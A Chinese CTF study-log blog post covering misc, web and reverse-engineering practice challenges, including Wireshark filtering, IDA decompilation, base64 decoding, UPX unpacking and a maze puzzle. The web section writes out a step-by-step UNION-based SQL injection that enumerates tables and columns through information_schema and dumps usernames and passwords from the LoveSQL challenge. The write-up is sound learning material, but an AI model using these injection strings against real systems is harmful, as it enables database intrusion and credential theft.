2.5学习记录

misc

文件中的秘密

打开附件后用随波逐流一把梭就可以了

被嗅探的流量

这题根据提示需要追踪到请求,在过滤栏输入:

php 复制代码
 http.request.method == "POST" 

在第二个包的结尾发现了

后门查杀

这个题打开附件发现一大堆,同时触发火绒监控根据提示后门密码就是flag,在vscode里面找到了

web

[极客大挑战 2019]LoveSQL

上方提示所以应该是只能手注了随便输一下发现可以交互,判断闭合方式判断应该是单引号闭合,试试万能密码发现没得到flag,但是找到了回显地址

进行联合注入发现2和3有回显位置
继续查询密码处输入1' union select 1,2,database()#
查询数据库接着爆表名1' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1#
1' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 1,1#

爆列名1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#
两个表爆出来都是这个,接着爆内容

php 复制代码
/check.php?username=1&password=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23

太长了查看源码在密码最后发现flag了

re

reverse3

先查壳没壳,放进ida查看,先找到主调函数

cpp 复制代码
int __cdecl main_0(int argc, const char **argv, const char **envp)
{
  size_t v3; // eax
  const char *v4; // eax
  size_t v5; // eax
  char v7; // [esp+0h] [ebp-188h]
  char v8; // [esp+0h] [ebp-188h]
  signed int j; // [esp+DCh] [ebp-ACh]
  int i; // [esp+E8h] [ebp-A0h]
  signed int v11; // [esp+E8h] [ebp-A0h]
  char Destination[108]; // [esp+F4h] [ebp-94h] BYREF
  char Str[28]; // [esp+160h] [ebp-28h] BYREF
  char v14[8]; // [esp+17Ch] [ebp-Ch] BYREF

  for ( i = 0; i < 100; ++i )
  {
    if ( (unsigned int)i >= 0x64 )
      j____report_rangecheckfailure();
    Destination[i] = 0;
  }
  sub_41132F("please enter the flag:", v7);
  sub_411375("%20s", (char)Str);
  v3 = j_strlen(Str);
  v4 = (const char *)sub_4110BE(Str, v3, v14);
  strncpy(Destination, v4, 0x28u);
  v11 = j_strlen(Destination);
  for ( j = 0; j < v11; ++j )
    Destination[j] += j;
  v5 = j_strlen(Destination);
  if ( !strncmp(Destination, Str2, v5) )
    sub_41132F("rigth flag!\n", v8);
  else
    sub_41132F("wrong flag!\n", v8);
  return 0;
}

这里关键是识别函数

cpp 复制代码
v4 = (const char *)sub_4110BE(Str, v3, v14)

这是一个base64加密的函数,点进去查看发现是没有换表的加密接下来去找密文

exp:

python 复制代码
import base64

str2='e3nifIH9b_C@n@dH'
flag=''

for i in range(0,len(str2)):
    flag+=chr(ord(str2[i])-i)

print("加密:{}".format(flag))
print("解密:{}".format(base64.b64decode(flag).decode('utf-8')))

happy new year

拿到附件先查壳发现upx壳,用kali脱壳找到主调函数根据函数解析,得到flag为str2

不一样的flag

查壳32位程序,没壳,用ida查看主调函数发现1234控制上下左右,说明是个迷宫问题,先确定迷宫大小根据:

c 复制代码
 if ( v5 == 2 )
    {
      ++*(_DWORD *)&v3[25];
    }
    else if ( v5 > 2 )
    {
      if ( v5 == 3 )
      {
        --v4;

判断迷宫是5*5大小

*1111

01000

01010

00010

1111#

从 *走到#号

222441144222就是flag

相关推荐
Wiktok6 分钟前
TailwindCSS学习路径方法总结
学习·css3·tailwindcss
FFF团团员90920 分钟前
树莓派学习笔记6:摄像头的基本使用
笔记·学习
d111111111d29 分钟前
在SM32F103C8T6中MCU和MPU的区别,都有什么各自的优点,缺点,都可以用来干什么。
笔记·stm32·单片机·嵌入式硬件·学习
solicitous1 小时前
QA和测试得区别
学习
盐焗西兰花1 小时前
鸿蒙学习实战之路:Dialog 组件封装最佳实践
学习·华为·harmonyos
van久1 小时前
.NET Core 学习第二天:Razor Pages 新建页面及增删改查
学习·.netcore
铅笔侠_小龙虾2 小时前
Vue 学习目录
前端·vue.js·学习
LO嘉嘉VE2 小时前
学习笔记二十五:支持向量机-核函数
笔记·学习·支持向量机
Genevieve_xiao2 小时前
【数据结构与算法】【xjtuse】面向考纲学习(下)
java·数据结构·学习·算法
mpHH2 小时前
ivorysql 源码分析-双port兼容
数据库·学习·postgresql